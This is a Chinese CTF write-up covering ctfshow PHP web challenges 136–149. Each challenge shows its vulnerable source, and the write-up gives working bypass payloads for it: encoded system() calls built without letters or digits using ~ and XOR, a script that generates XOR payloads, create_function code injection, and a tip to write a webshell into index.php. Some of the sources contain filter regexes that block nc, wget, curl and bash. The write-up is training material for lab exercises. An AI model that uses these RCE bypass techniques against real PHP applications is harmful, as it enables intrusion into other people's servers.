总结
136 tee命令
源码
<?phperror_reporting(0);function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}}if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);}else{highlight_file(__FILE__);}?>
payload
?c=ls /|tee 1//将根目录下的内容写入1访问1,下载文件发现f149_15_h3r3?c=nl /f149_15_h3r3|tee 1访问1,下载文件得flag
137 类的静态方法调用
源码
<?phperror_reporting(0);highlight_file(__FILE__);class ctfshow{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}}call_user_func($_POST['ctfshow']);?>
解题
php中 ->与:: 调用类中的成员的区别->用于动态语境处理某个类的某个实例::可以调用一个静态的、不依赖于其他初始化的类方法postctfshow=ctfshow::getflag
138 通过数组方法调用call_user_func
源码
<?phperror_reporting(0);highlight_file(__FILE__);class ctfshow{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}}if(strripos($_POST['ctfshow'], ":")>-1){die("private function");}call_user_func($_POST['ctfshow']);?>
解题
在本地环境测试了一下,利用数组方式调用类的方法时,无论时静态还是非静态都不用加::
<?phpclass show{public function sayhi(){echo "let's go bro!";}static function sayhello(){echo "you can do it!";}}$a = array('show','sayhi');call_user_func($a);$b = array('show','sayhello');call_user_func($b);?>
payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
139 盲打 未解答
140 松散比较
源码
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_POST['f1']) && isset($_POST['f2'])){$f1 = (String)$_POST['f1'];$f2 = (String)$_POST['f2'];if(preg_match('/^[a-z0-9]+$/', $f1)){if(preg_match('/^[a-z0-9]+$/', $f2)){$code = eval("return $f1($f2());");if(intval($code) == 'ctfshow'){echo file_get_contents("flag.php");}}}}
解题
因为最后一个if是松散比较’ctfshow’==0 所以只要intval($code)等于0就可以了
paylaod: f1=md5&f2=md5
141 ~无字母数字绕过
源码
<?php#error_reporting(0);highlight_file(__FILE__);if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}}
解题脚本
<?php$system='system';$command="ls";echo '(~'.urlencode(~$system).')(~'.urlencode(~$command).');';//(~%8C%86%8C%8B%9A%92)(~%93%8C);//修改参数就可以了?>
142 is_numeric绕过
源码
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_GET['v1'])){$v1 = (String)$_GET['v1'];if(is_numeric($v1)){$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);sleep($d);echo file_get_contents("flag.php");}}
这里前面讲过php5版本可以将字符串识别成八进制和十六进制
直接传0或者0x0或者00或则0e123
143 ^无字母数字绕过
源码
<?phphighlight_file(__FILE__);if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){die('get out hacker!');}else{$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}}
解题脚本
php脚本生成每个字符所对应的异或
<?php$myfile = fopen("无数字字母绕过正则\xor_rce.txt", "w");$contents="";for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}}fwrite($myfile,$contents);fclose($myfile);?>
python
import requestsimport urllibimport sysimport osdef action(arg):s1=""s2=""for i in arg:f=open(r"D:\phpstudy_pro\WWW\test\无数字字母绕过正则\xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)
144 141的plus
源码
<?phphighlight_file(__FILE__);if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && check($v3)){if(preg_match('/^\W+$/', $v2)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}}function check($str){return strlen($str)===1?true:false;}
再142的基础上检查了v3,变一下顺序就行了
?v1=1&v2=*(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)&v3=1
145-146 运算符
源码
<?phphighlight_file(__FILE__);if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}}
在前面的基础上过滤了-+*/,所以需要使用别的运算符比如| & 三目运算符
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|&v2=1?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F):&v2=1
147 %5c绕过正则+create_function()注入漏洞
源码
<?phphighlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}}
考察creat_function的代码注入
create_function('$a','echo $a."123"')类似于function f($a) {echo $a."123";}
如果第二个参数传入 echo 1;}phpinfo();//
function f($a) {echo 1;}phpinfo();//}从而执行phpinfo()命令
所以目前的payload就是
get:?show=echo 1;}system('ls');//post: ctf=create_function
但是create_function无法绕过正则表达式
转自大佬
在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
所以我们可以在create_function前加一个\或者%5c
149 竞争
源码
<?phperror_reporting(0);highlight_file(__FILE__);$files = scandir('./'); //数组形式列出当前文件夹下的所有文件foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}file_put_contents($_GET['ctf'], $_POST['show']);$files = scandir('./');foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}}
题目的意思是让你写文件,但是如果文件名称不是index.php的会就会删除你的文件
题目的意思应该是条件竞争,但是我们可以直接向index.php里写木马
149
<?phpinclude("flag.php");error_reporting(0);highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}}#过滤字符$key = $_SERVER['QUERY_STRING'];if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");}$ctf = $_POST['ctf'];extract($_GET);if(class_exists($__CTFSHOW__)){echo "class is exists!";}if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);}
